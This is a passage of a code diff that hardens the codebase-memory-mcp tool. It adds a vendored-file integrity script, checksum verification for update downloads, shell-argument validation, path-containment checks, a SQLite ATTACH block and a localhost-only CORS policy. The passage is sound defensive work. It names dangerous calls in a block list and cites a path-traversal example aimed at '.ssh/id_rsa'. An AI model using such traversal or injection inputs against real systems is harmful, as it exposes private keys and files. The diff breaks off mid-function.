for pattern in 'system(' 'popen(' 'execl(' 'execv(' 'fork(' 'connect(' 'socket(' 'sendto(' 'dlopen(' 'LoadLibrary('; do
|
||||
HITS=$(grep -rl -F "$pattern" "$ROOT/internal/cbm/vendored/" --include='*.c' --include='*.h' 2>/dev/null | head -3 || true)
|
||||
if [[ -n "$HITS" ]]; then
|
||||
echo "BLOCKED: '$pattern' found in vendored grammars:"
|
||||
echo "$HITS" | sed 's|.*/vendored/| vendored/|'
|
||||
GRAMMAR_FAIL=true
|
||||
fi
|
||||
done
|
||||
if $GRAMMAR_FAIL; then
|
||||
FAIL=1
|
||||
else
|
||||
echo "OK: No dangerous calls in vendored tree-sitter grammars"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [[ "${1:-}" == "--update" ]]; then
|
||||
echo ""
|
||||
echo "Updating checksums..."
|
||||
find "$ROOT/vendored" -type f \( -name '*.c' -o -name '*.h' \) | sort | while IFS= read -r f; do
|
||||
$SHA_CMD "$f"
|
||||
done > "$CHECKSUMS"
|
||||
echo "Updated: $CHECKSUMS ($(wc -l < "$CHECKSUMS" | tr -d ' ') files)"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
if [[ $FAIL -ne 0 ]]; then
|
||||
echo ""
|
||||
echo "=== VENDORED INTEGRITY CHECK FAILED ==="
|
||||
echo "A vendored file has been modified. If this is intentional (upgrade),"
|
||||
echo "run: scripts/security-vendored.sh --update"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [[ $UNEXPECTED -gt 0 ]]; then
|
||||
echo ""
|
||||
echo "WARNING: New vendored files not in checksums. Run --update if intentional."
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "=== Vendored integrity check passed ==="
|
||||
@@ -167,5 +167,49 @@ echo "OK: $FOLDER_COUNT Folder nodes (init.py didn't clobber them)"
|
||||
# 3e: delete_project cleanup
|
||||
cli delete_project "{\"project_name\":\"$PROJECT\"}" > /dev/null
|
||||
|
||||
echo ""
|
||||
echo "=== Phase 4: security checks ==="
|
||||
|
||||
# 4a: Clean shutdown — binary must exit within 5 seconds after EOF
|
||||
echo "Testing clean shutdown..."
|
||||
SHUTDOWN_TMPDIR=$(mktemp -d)
|
||||
cat > "$SHUTDOWN_TMPDIR/input.jsonl" << 'JSONL'
|
||||
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"test","version":"1.0"}}}
|
||||
JSONL
|
||||
|
||||
# Run binary with EOF and check it exits within 5 seconds
|
||||
timeout 5 "$BINARY" < "$SHUTDOWN_TMPDIR/input.jsonl" > /dev/null 2>&1 || true
|
||||
EXIT_CODE=$?
|
||||
rm -rf "$SHUTDOWN_TMPDIR"
|
||||
|
||||
if [ "$EXIT_CODE" -eq 124 ]; then
|
||||
echo "FAIL: binary did not exit within 5 seconds after EOF"
|
||||
exit 1
|
||||
fi
|
||||
echo "OK: clean shutdown"
|
||||
|
||||
# 4b: No residual processes (skip on Windows/MSYS2 where pgrep may not work)
|
||||
if command -v pgrep &>/dev/null && [ "$(uname)" != "MINGW64_NT" ] 2>/dev/null; then
|
||||
# Give a moment for any child processes to clean up
|
||||
sleep 1
|
||||
RESIDUAL=$(pgrep -f "codebase-memory-mcp.*cli" 2>/dev/null | wc -l | tr -d ' \n' || echo "0")
|
||||
RESIDUAL="${RESIDUAL:-0}"
|
||||
if [ "$RESIDUAL" -gt 0 ]; then
|
||||
echo "WARNING: $RESIDUAL residual codebase-memory-mcp process(es) found"
|
||||
else
|
||||
echo "OK: no residual processes"
|
||||
fi
|
||||
fi
|
||||
|
||||
# 4c: Version integrity — output must be exactly one line matching version format
|
||||
VERSION_OUTPUT=$("$BINARY" --version 2>&1)
|
||||
VERSION_LINES=$(echo "$VERSION_OUTPUT" | wc -l | tr -d ' ')
|
||||
if [ "$VERSION_LINES" -ne 1 ]; then
|
||||
echo "FAIL: --version output has $VERSION_LINES lines, expected exactly 1"
|
||||
echo " Output: $VERSION_OUTPUT"
|
||||
exit 1
|
||||
fi
|
||||
echo "OK: version output is clean single line"
|
||||
|
||||
echo ""
|
||||
echo "=== smoke-test: ALL PASSED ==="
|
||||
|
||||
@@ -0,0 +1,72 @@
|
||||
dd4f25cae53209d45d73f8e6a2b9c219e8fc7434d97f20eba9af1a8b850030fd vendored/mimalloc/include/mimalloc-new-delete.h
|
||||
243db1b073ce985873545b746288546efb8ccadeb9860e674a7f0f701af8bac9 vendored/mimalloc/include/mimalloc-override.h
|
||||
15a9240f3cf574858b9a05c88c29a559f3913f2385918d63524982a0f03de62b vendored/mimalloc/include/mimalloc.h
|
||||
67eb1fcedb6059463c75a8d1d2e5724a13a13e113f9ddab0c6cb7f5371c0dc87 vendored/mimalloc/include/mimalloc/atomic.h
|
||||
bfe48c560b1cbad9a1da1218c8c0c6ed6559a2387771371a7390c5961d096631 vendored/mimalloc/include/mimalloc/internal.h
|
||||
b7f329eb3343ad9259beb381d9b71c68cfc10e771df7bc726485ba980e968e3b vendored/mimalloc/include/mimalloc/prim.h
|
||||
083c3feca95d618eabbee83e72f9158fbfcf20c37d67e8625a19089b5a350be5 vendored/mimalloc/include/mimalloc/track.h
|
||||
e6577e6e28124a0df3f5fd589489c8b3424ed53c8bec4e4a42b1fe0f3b292c25 vendored/mimalloc/include/mimalloc/types.h
|
||||
206e0193fec0cdc1e3027659d3b36f84672ea493d312ac298b30106495beb5d9 vendored/mimalloc/src/alloc-aligned.c
|
||||
0a14958fcab825b4870d1885dc9ee149e6e9f0c617ecec67c9347f831acf2be8 vendored/mimalloc/src/alloc-override.c
|
||||
4110c34bbd3f212055354cca73303acc773f383a84e37e8db9d4df95338e374d vendored/mimalloc/src/alloc-posix.c
|
||||
a6f8186fef5272c5333e1e3d9b6e12a1cb22269374410b2770bd5867ea0e96f6 vendored/mimalloc/src/alloc.c
|
||||
9a663611e9c73e42f73bbd42ea4c7869099b8e34c7a5968e27b373af8db1e951 vendored/mimalloc/src/arena-abandon.c
|
||||
238b13f00581c39826986e2da93c7f175580a4b32373fa8992bbd72a52e0479d vendored/mimalloc/src/arena.c
|
||||
45c866e23dff9dc0e0b5a73de5082a8bf21d8f2b1f38344fda354c4c8a630021 vendored/mimalloc/src/bitmap.c
|
||||
0e5f497d34ba79648b07696280abb9a3f6c667a5e7c2fbe56bc2860085ed3511 vendored/mimalloc/src/bitmap.h
|
||||
2849de90c9d9de2f20f485b969bffe292ce3fc715319672ece1c26e941683d50 vendored/mimalloc/src/free.c
|
||||
65b18cb18ff379f0cb2a21efb86f09362c6e5f4dda090ef490e6c3e5feac2522 vendored/mimalloc/src/heap.c
|
||||
0654539e5191164bfec3a079b2e7f75dbf68c741c5281455a15b065447c3d5d8 vendored/mimalloc/src/init.c
|
||||
3890196791bb6bacab93f3c09791ef9faa128d8be226b701ff72eb9bbe3cf697 vendored/mimalloc/src/libc.c
|
||||
b1f9cab7a0d877df83e290a01927743867e5af2c8d0131fd2af76480dbd739e0 vendored/mimalloc/src/options.c
|
||||
8108e9d5a3866f010a6156cc2d9c2a05422ae71027577aeb9a31d482bb169554 vendored/mimalloc/src/os.c
|
||||
4a0825b78d6cb5c0e2cfc99976970abeb7cab7fd42cedb3e4ec99c66ac4e509b vendored/mimalloc/src/page-queue.c
|
||||
9c03e82ac457d8505cd7422d8fde7ae63f487394774d4df1186409cfe20f960b vendored/mimalloc/src/page.c
|
||||
db6674012486b6b0e0c3e8a203f554dbb5d1d3d488435bc42fdd7c5544fc9015 vendored/mimalloc/src/prim/emscripten/prim.c
|
||||
4702cac8b0e0deb047a467c1a1e48e0e1c95a1b906669abc07e780bbc2485184 vendored/mimalloc/src/prim/osx/alloc-override-zone.c
|
||||
247a9952465eb105be03a9962e922b085ce5d52034775551a61cd8594275be73 vendored/mimalloc/src/prim/osx/prim.c
|
||||
20dee6b4ade94866cbe9210deeff47e1f3e957274c2ff5b2669f72826def10c9 vendored/mimalloc/src/prim/prim.c
|
||||
50ed4d4bb9e3e62d498bb788a613fbffe9e04953b86c4d3e7580374747abfa3e vendored/mimalloc/src/prim/unix/prim.c
|
||||
8f6c898c0c87eed7c43188373d12bffa17090374934b6485bbdc0cbe9e762f7d vendored/mimalloc/src/prim/wasi/prim.c
|
||||
4f3110ef2054c95cb275be96cb279224d3d46a728c5117bd1435425f382de778 vendored/mimalloc/src/prim/windows/etw.h
|
||||
15443bb714baa78db2e3eb1cc689e0ffd4922da8858a948ddd15cac3ae3cd5f9 vendored/mimalloc/src/prim/windows/prim.c
|
||||
d642a722e93e6e5f2fb49881fefda72ab05d0d43838ec727871e82e6a684f6cd vendored/mimalloc/src/random.c
|
||||
bc8fa65020cc2c1ad4d526cbb76499b263cf7d5935eade4a259e8040f61d98bb vendored/mimalloc/src/segment-map.c
|
||||
a5ff1ef3193d150d25d22ed634f4c1aa78702769163ad7739ec0e37b863cc7c2 vendored/mimalloc/src/segment.c
|
||||
81e27487e494d2b32cb16a2605d61ee64fe3a71c409d5be3a673950ff769bd73 vendored/mimalloc/src/static.c
|
||||
048c9a3ab9adf91de450da47b9de296bffdee3ac5602601604fa3f6f24998790 vendored/mimalloc/src/stats.c
|
||||
c58e03d44973ee5174bb30034f3c8898b361d63e65db5e31c00434c064e26f2e vendored/mongoose/mongoose.c
|
||||
f8f5f0a1fb7d9930670cd47d50787531ebbeb5097a309e22bc28512379709a75 vendored/mongoose/mongoose.h
|
||||
ff80c36ef1bb44eb357c7ff1d15be77540d41c28fb671088215a6cd12785c5d3 vendored/sqlite3/sqlite3.c
|
||||
88da6f1963bc192dfa18a3a48b423cf1fbbb04f903202efe9a78e3a597473e18 vendored/sqlite3/sqlite3.h
|
||||
b184dd1586d935133d37ad76fa353faf0a1021ff2fdedeedcc3498fff74bbb94 vendored/sqlite3/sqlite3ext.h
|
||||
7efd127c0fc4fe26a07684345cce9287762346abeab665e2fe72711c6fc118bd vendored/tre/regcomp.c
|
||||
eab23b8e79ee90f78e8495de64519afb61b627e062804fd4a622784e052a85fa vendored/tre/regerror.c
|
||||
26b0f550d491335cdaa3fecfe49213d68466befdf648ed281ccdaa631ea6d4f9 vendored/tre/regex.h
|
||||
fd6fe2789439d3d28140c27edfe6bcdde1d1c737cab4bd27b1287d3e759fa82d vendored/tre/regexec.c
|
||||
90f76dce41eade7e28c3477d8b45acb8d2ccbc6d4aaba0bb93f0d5ec5b160820 vendored/tre/tre_all.c
|
||||
e98c7732fdbb35ec182edfe043743d7e6b4ad7bcf57b815ec9f37f0d1065a062 vendored/tre/tre-ast.c
|
||||
f5d0374597a42f4bf0e7a80001a68bae9ea2622b80f760d8005200fd20acaf0f vendored/tre/tre-ast.h
|
||||
45407a83ef0151a977cb7f8a5275b2a9831ae570d6f27a43723c8da1e76c0261 vendored/tre/tre-compile.c
|
||||
924c8b9aa6a261d8b86f1b0b3b575adc5274e135fefcd4193497445e5fc6245a vendored/tre/tre-compile.h
|
||||
6d803fb5dd3cdb8af353936869d92f7b6e25644c7fb3a26280d24fc4451db7d2 vendored/tre/tre-config.h
|
||||
d463e509cdc7eda5154d29c75791ccd58eff5d6f4345344829517f62ddb606e1 vendored/tre/tre-filter.c
|
||||
aabcc5902193f76e457deffa1b3cf2c3b63d39489e6da5fc3f16bb26e83dc067 vendored/tre/tre-filter.h
|
||||
1a8213c2db148aee2f10bd064e864294dd9d6f9085886903cf337f8f7c3b01b8 vendored/tre/tre-internal.h
|
||||
2fcb1bbadc845bc32b73b2882bb7f1988f7fdb183b8349750e5f20b29b6223da vendored/tre/tre-match-approx.c
|
||||
80a0b950fc1c34773d49fcec0f78a3b7de7c893852dcfc83f7eece3ebe262afa vendored/tre/tre-match-backtrack.c
|
||||
446bf71b5c22ee432dc42705c63abcda8eaebeafecc811d682b658b8d18e68f1 vendored/tre/tre-match-parallel.c
|
||||
3f726919232c0311daa533fbaff6bdcc3746817b48672c6ed95a6e160c2877f1 vendored/tre/tre-match-utils.h
|
||||
1645537ca85eefe543da3187b3d1a65bf796ae0a0576545457b56fb63fc13c67 vendored/tre/tre-mem.c
|
||||
6ae203e4ff329bbc15bd48004f0b5ac0804fe95b1557883d6840949e75f2018b vendored/tre/tre-mem.h
|
||||
a04e1bea47aff5d858460c1d08aac6ed3a3c8ee285500281dd3147ff0621095e vendored/tre/tre-parse.c
|
||||
29d69be4d03e723e4b99e9887774970f7e62176aed3369faacd34b955ffb509f vendored/tre/tre-parse.h
|
||||
4c9af903178f5f7030962b5708d4e656f8b060e795852e1eee883696b682849d vendored/tre/tre-stack.c
|
||||
aabe11f1b7c6c627dc9cfb62cfb9565ac9ebdf2c51c2d55c5320af5db76c5e3b vendored/tre/tre-stack.h
|
||||
1c2d81474d2b59b7a39f5b1592473adfb4109fad99156588088f2ccc56c654ab vendored/tre/tre.h
|
||||
9632e5eeb20e3d328f8def0efb2e8230f5b5cb7d9f2e5680ad89caf065f8b3a6 vendored/tre/xmalloc.c
|
||||
22aee25e6892e97719ec4a5fad91345cd2145722ebbd3ec31397aff68108e3e6 vendored/tre/xmalloc.h
|
||||
5c3591fe6e6c86a619eb26760e9520e37a6fd5152882ab5ad93f912e2a855966 vendored/xxhash/xxhash.c
|
||||
86d0d813745821bbccf0be6d67356846f138e5c20164c52c24fade1419afdf7d vendored/xxhash/xxhash.h
|
||||
1da0205abb1a27c27db397b7f8a475abc0af58963af9a88fc807a6c4fa7a8d51 vendored/yyjson/yyjson.c
|
||||
b2bd3aec324a0d6bc67196f647c966870e783c2e3944684f10db26b2c04b773f vendored/yyjson/yyjson.h
|
||||
+120
@@ -1951,6 +1951,106 @@ static bool prompt_yn(const char *question) {
|
||||
return (buf[0] == 'y' || buf[0] == 'Y') ? true : false;
|
||||
}
|
||||
|
||||
/* ── SHA-256 checksum verification ─────────────────────────────── */
|
||||
|
||||
/* SHA-256 hex digest: 64 hex chars + NUL */
|
||||
#define SHA256_HEX_LEN 64
|
||||
#define SHA256_BUF_SIZE (SHA256_HEX_LEN + 1)
|
||||
/* Minimum line length in checksums.txt: 64 hex + 2 spaces + 1 char filename */
|
||||
#define CHECKSUM_LINE_MIN (SHA256_HEX_LEN + 2)
|
||||
|
||||
/* Compute SHA-256 of a file using platform tools (sha256sum/shasum).
|
||||
* Writes 64-char hex digest + NUL to out. Returns 0 on success. */
|
||||
static int sha256_file(const char *path, char *out, size_t out_size) {
|
||||
if (out_size < SHA256_BUF_SIZE) {
|
||||
return -1;
|
||||
}
|
||||
char cmd[1024];
|
||||
#ifdef __APPLE__
|
||||
snprintf(cmd, sizeof(cmd), "shasum -a 256 '%s' 2>/dev/null", path);
|
||||
#else
|
||||
snprintf(cmd, sizeof(cmd), "sha256sum '%s' 2>/dev/null", path);
|
||||
#endif
|
||||
// NOLINTNEXTLINE(bugprone-command-processor,cert-env33-c)
|
||||
FILE *fp = cbm_popen(cmd, "r");
|
||||
if (!fp) {
|
||||
return -1;
|
||||
}
|
||||
char line[256];
|
||||
if (fgets(line, sizeof(line), fp)) {
|
||||
/* Output format: <64-char hash> <filename> */
|
||||
char *space = strchr(line, ' ');
|
||||
if (space && space - line == SHA256_HEX_LEN) {
|
||||
memcpy(out, line, SHA256_HEX_LEN);
|
||||
out[SHA256_HEX_LEN] = '\0';
|
||||
cbm_pclose(fp);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
cbm_pclose(fp);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Download checksums.txt and verify the archive integrity.
|
||||
* Returns: 0 = verified OK, 1 = mismatch (FAIL), -1 = could not verify (warning). */
|
||||
static int verify_download_checksum(const char *archive_path, const char *archive_name) {
|
||||
char checksum_file[256];
|
||||
snprintf(checksum_file, sizeof(checksum_file), "%s/cbm-checksums.txt", cbm_tmpdir());
|
||||
|
||||
char cmd[1024];
|
||||
snprintf(cmd, sizeof(cmd),
|
||||
"curl -fsSL -o '%s' "
|
||||
"'https://github.com/DeusData/codebase-memory-mcp/releases/latest/download/"
|
||||
"checksums.txt' 2>/dev/null",
|
||||
checksum_file);
|
||||
// NOLINTNEXTLINE(cert-env33-c) — intentional CLI subprocess for download
|
||||
int rc = system(cmd);
|
||||
if (rc != 0) {
|
||||
fprintf(stderr, "warning: could not download checksums.txt — skipping verification\n");
|
||||
cbm_unlink(checksum_file);
|
||||
return -1;
|
||||
}
|
||||
|
||||
FILE *fp = fopen(checksum_file, "r");
|
||||
cbm_unlink(checksum_file);
|
||||
if (!fp) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
char expected[SHA256_BUF_SIZE] = {0};
|
||||
char line[512];
|
||||
while (fgets(line, sizeof(line), fp)) {
|
||||
/* Format: <64-char sha256> <filename>\n */
|
||||
if (strlen(line) > CHECKSUM_LINE_MIN && strstr(line, archive_name)) {
|
||||
memcpy(expected, line, SHA256_HEX_LEN);
|
||||
expected[SHA256_HEX_LEN] = '\0';
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(fp);
|
||||
|
||||
if (expected[0] == '\0') {
|
||||
fprintf(stderr, "warning: %s not found in checksums.txt\n", archive_name);
|
||||
return -1;
|
||||
}
|
||||
|
||||
char actual[SHA256_BUF_SIZE] = {0};
|
||||
if (sha256_file(archive_path, actual, sizeof(actual)) != 0) {
|
||||
fprintf(stderr, "warning: sha256sum/shasum not available — skipping verification\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (strcmp(expected, actual) != 0) {
|
||||
fprintf(stderr, "error: CHECKSUM MISMATCH — downloaded binary may be compromised!\n");
|
||||
fprintf(stderr, " expected: %s\n", expected);
|
||||
fprintf(stderr, " actual: %s\n", actual);
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("Checksum verified: %s\n", actual);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ── Detect OS/arch for download URL ──────────────────────────── */
|
||||
|
||||
static const char *detect_os(void) {
|
||||
@@ -2534,6 +2634,26 @@ int cbm_cmd_update(int argc, char **argv) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* Step 4b: Verify checksum */
|
||||
{
|
||||
/* Build the expected archive filename (matches checksums.txt format) */
|
||||
char archive_name[256];
|
||||
if (want_ui) {
|
||||
snprintf(archive_name, sizeof(archive_name), "codebase-memory-mcp-ui-%s-%s.%s", os,
|
||||
arch, ext);
|
||||
} else {
|
||||
snprintf(archive_name, sizeof(archive_name), "codebase-memory-mcp-%s-%s.%s", os, arch,
|
||||
ext);
|
||||
}
|
||||
int crc = verify_download_checksum(tmp_archive, archive_name);
|
||||
if (crc == 1) {
|
||||
/* Hard fail: checksum mismatch */
|
||||
cbm_unlink(tmp_archive);
|
||||
return 1;
|
||||
}
|
||||
/* crc == -1: could not verify (warning only), crc == 0: verified OK */
|
||||
}
|
||||
|
||||
/* Step 5: Extract binary */
|
||||
char bin_dest[1024];
|
||||
snprintf(bin_dest, sizeof(bin_dest), "%s/.local/bin/codebase-memory-mcp", home);
|
||||
|
||||
@@ -234,3 +234,26 @@ char **cbm_str_split(CBMArena *a, const char *s, char delim, int *out_count) {
|
||||
*out_count = count;
|
||||
return result;
|
||||
}
|
||||
|
||||
bool cbm_validate_shell_arg(const char *s) {
|
||||
if (!s) {
|
||||
return false;
|
||||
}
|
||||
for (const char *p = s; *p; p++) {
|
||||
switch (*p) {
|
||||
case '\'':
|
||||
case ';':
|
||||
case '|':
|
||||
case '&':
|
||||
case '$':
|
||||
case '`':
|
||||
case '\n':
|
||||
case '\r':
|
||||
case '\\':
|
||||
return false;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -48,4 +48,9 @@ char *cbm_str_strip_ext(CBMArena *a, const char *path);
|
||||
* The array itself and all substrings are arena-allocated. */
|
||||
char **cbm_str_split(CBMArena *a, const char *s, char delim, int *out_count);
|
||||
|
||||
/* Validate a string is safe for shell interpolation inside single quotes.
|
||||
* Rejects: ' ; | & $ ` \n \r \0 (embedded NULs via len check).
|
||||
* Returns true if safe, false if the string contains shell metacharacters. */
|
||||
bool cbm_validate_shell_arg(const char *s);
|
||||
|
||||
#endif /* CBM_STR_UTIL_H */
|
||||
|
||||
+52
-2
@@ -19,6 +19,7 @@
|
||||
#include "foundation/compat_fs.h"
|
||||
#include "foundation/compat_thread.h"
|
||||
#include "foundation/log.h"
|
||||
#include "foundation/str_util.h"
|
||||
|
||||
#ifdef _WIN32
|
||||
#include <process.h> /* _getpid */
|
||||
@@ -1363,13 +1364,34 @@ static char *build_snippet_response(cbm_mcp_server_t *srv, cbm_node_t *node,
|
||||
int end = node->end_line > start ? node->end_line : start + SNIPPET_DEFAULT_LINES;
|
||||
char *source = NULL;
|
||||
|
||||
/* Build absolute path (persists until free) */
|
||||
/* Build absolute path and verify it's within the project root.
|
||||
* Prevents path traversal via crafted file_path (e.g., "../../.ssh/id_rsa"). */
|
||||
char *abs_path = NULL;
|
||||
if (root_path && node->file_path) {
|
||||
size_t apsz = strlen(root_path) + strlen(node->file_path) + 2;
|
||||
abs_path = malloc(apsz);
|
||||
snprintf(abs_path, apsz, "%s/%s", root_path, node->file_path);
|
||||
source = read_file_lines(abs_path, start, end);
|
||||
|
||||
/* Path containment: resolve symlinks/../ and verify file stays within root */
|
||||
char real_root[4096];
|
||||
char real_file[4096];
|
||||
bool path_ok = false;
|
||||
#ifdef _WIN32
|
||||
if (_fullpath(real_root, root_path, sizeof(real_root)) &&
|
||||
_fullpath(real_file, abs_path, sizeof(real_file))) {
|
||||
#else
|
||||
if (realpath(root_path, real_root) && realpath(abs_path, real_file)) {
|
||||
#endif
|
||||
size_t root_len = strlen(real_root);
|
||||
if (strncmp(real_file, real_root, root_len) == 0 &&
|
||||
(real_file[root_len] == '/' || real_file[root_len] == '\\' ||
|
||||
real_file[root_len] == '\0')) {
|
||||
path_ok = true;
|
||||
}
|
||||
}
|
||||
if (path_ok) {
|
||||
source = read_file_lines(abs_path, start, end);
|
||||
}
|
||||
}
|
||||
|
||||
yyjson_mut_doc *doc = yyjson_mut_doc_new(NULL);
|
||||
@@ -1593,6 +1615,16 @@ static char *handle_search_code(cbm_mcp_server_t *srv, const char *args) {
|
||||
return cbm_mcp_text_result("project not found or not indexed", true);
|
||||
}
|
||||
|
||||
/* Reject shell metacharacters in user-supplied arguments */
|
||||
if (!cbm_validate_shell_arg(root_path) ||
|
||||
(file_pattern && !cbm_validate_shell_arg(file_pattern))) {
|
||||
free(root_path);
|
||||
free(pattern);
|
||||
free(project);
|
||||
free(file_pattern);
|
||||
return cbm_mcp_text_result("path or file_pattern contains invalid characters", true);
|
||||
}
|
||||
|
||||
/* Write pattern to temp file to avoid shell injection */
|
||||
char tmpfile[256];
|
||||
#ifdef _WIN32
|
||||
@@ -1712,6 +1744,13 @@ static char *handle_detect_changes(cbm_mcp_server_t *srv, const char *args) {
|
||||
base_branch = heap_strdup("main");
|
||||
}
|
||||
|
||||
/* Reject shell metacharacters in user-supplied branch name */
|
||||
if (!cbm_validate_shell_arg(base_branch)) {
|
||||
free(project);
|
||||
free(base_branch);
|
||||
return cbm_mcp_text_result("base_branch contains invalid characters", true);
|
||||
}
|
||||
|
||||
char *root_path = get_project_root(srv, project);
|
||||
if (!root_path) {
|
||||
free(project);
|
||||
@@ -1719,6 +1758,13 @@ static char *handle_detect_changes(cbm_mcp_server_t *srv, const char *args) {
|
||||
return cbm_mcp_text_result("project not found", true);
|
||||
}
|
||||
|
||||
if (!cbm_validate_shell_arg(root_path)) {
|
||||
free(root_path);
|
||||
free(project);
|
||||
free(base_branch);
|
||||
return cbm_mcp_text_result("project path contains invalid characters", true);
|
||||
}
|
||||
|
||||
/* Get changed files via git */
|
||||
char cmd[1024];
|
||||
snprintf(cmd, sizeof(cmd),
|
||||
@@ -2104,6 +2150,10 @@ static void maybe_auto_index(cbm_mcp_server_t *srv) {
|
||||
}
|
||||
|
||||
/* Quick file count check to avoid OOM on massive repos */
|
||||
if (!cbm_validate_shell_arg(srv->session_root)) {
|
||||
cbm_log_warn("autoindex.skip", "reason", "path contains shell metacharacters");
|
||||
return;
|
||||
}
|
||||
char cmd[1024];
|
||||
snprintf(cmd, sizeof(cmd), "git -C '%s' ls-files 2>/dev/null | wc -l", srv->session_root);
|
||||
// NOLINTNEXTLINE(bugprone-command-processor,cert-env33-c)
|
||||
|
||||
@@ -18,6 +18,7 @@
|
||||
#include "foundation/platform.h"
|
||||
#include "foundation/compat.h"
|
||||
#include "foundation/compat_fs.h"
|
||||
#include "foundation/str_util.h"
|
||||
|
||||
/* Minimum coupling score to create an edge */
|
||||
#define MIN_COUPLING_SCORE 0.3
|
||||
@@ -214,6 +215,10 @@ static int parse_git_log(const char *repo_path, commit_t **out, int *out_count)
|
||||
*out = NULL;
|
||||
*out_count = 0;
|
||||
|
||||
if (!cbm_validate_shell_arg(repo_path)) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
char cmd[1024];
|
||||
snprintf(cmd, sizeof(cmd),
|
||||
"cd '%s' && git log --name-only --pretty=format:COMMIT:%%H "
|
||||
|
||||
@@ -293,6 +293,24 @@ static void sqlite_iregexp(sqlite3_context *ctx, int argc, sqlite3_value **argv)
|
||||
|
||||
/* ── Lifecycle ──────────────────────────────────────────────────── */
|
||||
|
||||
/* SQLite authorizer: deny dangerous operations that could be exploited via
|
||||
* SQL injection through the Cypher→SQL translation layer. */
|
||||
static int store_authorizer(void *user_data, int action, const char *p3, const char *p4,
|
||||
const char *p5, const char *p6) {
|
||||
(void)user_data;
|
||||
(void)p3;
|
||||
(void)p4;
|
||||
(void)p5;
|
||||
(void)p6;
|
||||
switch (action) {
|
||||
case SQLITE_ATTACH: /* ATTACH DATABASE — could create/read arbitrary files */
|
||||
case SQLITE_DETACH: /* DETACH DATABASE */
|
||||
return SQLITE_DENY;
|
||||
default:
|
||||
return SQLITE_OK;
|
||||
}
|
||||
}
|
||||
|
||||
static cbm_store_t *store_open_internal(const char *path, bool in_memory) {
|
||||
cbm_store_t *s = calloc(1, sizeof(cbm_store_t));
|
||||
if (!s) {
|
||||
@@ -314,6 +332,10 @@ static cbm_store_t *store_open_internal(const char *path, bool in_memory) {
|
||||
s->db_path = heap_strdup(path);
|
||||
}
|
||||
|
||||
/* Security: block ATTACH/DETACH to prevent file creation via SQL injection.
|
||||
* The authorizer runs inside SQLite's query planner — no string-level bypass. */
|
||||
sqlite3_set_authorizer(s->db, store_authorizer, NULL);
|
||||
|
||||
/* Register REGEXP function (SQLite doesn't have one built-in) */
|
||||
sqlite3_create_function(s->db, "regexp", 2, SQLITE_UTF8 | SQLITE_DETERMINISTIC, NULL,
|
||||
sqlite_regexp, NULL, NULL);
|
||||
|
||||
+132
-78
@@ -46,11 +46,35 @@
|
||||
/* Max JSON-RPC request body size (1 MB) */
|
||||
#define MAX_BODY_SIZE (1024 * 1024)
|
||||
|
||||
/* CORS headers for all responses */
|
||||
#define CORS_HEADERS \
|
||||
"Access-Control-Allow-Origin: *\r\n" \
|
||||
"Access-Control-Allow-Methods: POST, GET, DELETE, OPTIONS\r\n" \
|
||||
"Access-Control-Allow-Headers: Content-Type\r\n"
|
||||
/* ── CORS: only allow localhost origins (blocks remote website attacks) ────── */
|
||||
|
||||
/* Per-request CORS header buffers. Updated at the start of each HTTP handler
|
||||
* call by update_cors(). Single-threaded mongoose event loop makes statics safe. */
|
||||
static char g_cors[256]; /* CORS headers only */
|
||||
static char g_cors_json[512]; /* CORS + Content-Type: application/json */
|
||||
|
||||
/* Inspect the Origin header and only reflect it if it's a localhost URL.
|
||||
* This prevents remote websites from making cross-origin requests to the
|
||||
* local graph-ui server (the key defense against CORS-based data exfil). */
|
||||
static void update_cors(struct mg_http_message *hm) {
|
||||
struct mg_str *origin = mg_http_get_header(hm, "Origin");
|
||||
if (origin && origin->len > 0 &&
|
||||
(mg_match(*origin, mg_str("http://localhost:*"), NULL) ||
|
||||
mg_match(*origin, mg_str("http://127.0.0.1:*"), NULL))) {
|
||||
snprintf(g_cors, sizeof(g_cors),
|
||||
"Access-Control-Allow-Origin: %.*s\r\n"
|
||||
"Access-Control-Allow-Methods: POST, GET, DELETE, OPTIONS\r\n"
|
||||
"Access-Control-Allow-Headers: Content-Type\r\n",
|
||||
(int)origin->len, origin->buf);
|
||||
} else {
|
||||
/* No Access-Control-Allow-Origin → browser blocks cross-origin access */
|
||||
snprintf(g_cors, sizeof(g_cors),
|
||||
"Access-Control-Allow-Methods: POST, GET, DELETE, OPTIONS\r\n"
|
||||
"Access-Control-Allow-Headers: Content-Type\r\n");
|
||||
}
|
||||
snprintf(g_cors_json, sizeof(g_cors_json),
|
||||
"%sContent-Type: application/json\r\n", g_cors);
|
||||
}
|
||||
|
||||
/* ── Server state ─────────────────────────────────────────────── */
|
||||
|
||||
@@ -62,6 +86,22 @@ struct cbm_http_server {
|
||||
bool listener_ok;
|
||||
};
|
||||
|
||||
/* ── Forward declarations for process-kill PID validation ──────── */
|
||||
|
||||
#define MAX_INDEX_JOBS 4
|
||||
|
||||
typedef struct {
|
||||
char root_path[1024];
|
||||
char project_name[256];
|
||||
atomic_int status; /* 0=idle, 1=running, 2=done, 3=error */
|
||||
char error_msg[256];
|
||||
#ifndef _WIN32
|
||||
pid_t child_pid; /* tracked for process-kill validation */
|
||||
#endif
|
||||
} index_job_t;
|
||||
|
||||
static index_job_t g_index_jobs[MAX_INDEX_JOBS];
|
||||
|
||||
/* ── Serve embedded asset ─────────────────────────────────────── */
|
||||
|
||||
static bool serve_embedded(struct mg_connection *c, const char *path) {
|
||||
@@ -72,9 +112,9 @@ static bool serve_embedded(struct mg_connection *c, const char *path) {
|
||||
/* Build headers with correct Content-Type for this asset */
|
||||
char hdrs[512];
|
||||
snprintf(hdrs, sizeof(hdrs),
|
||||
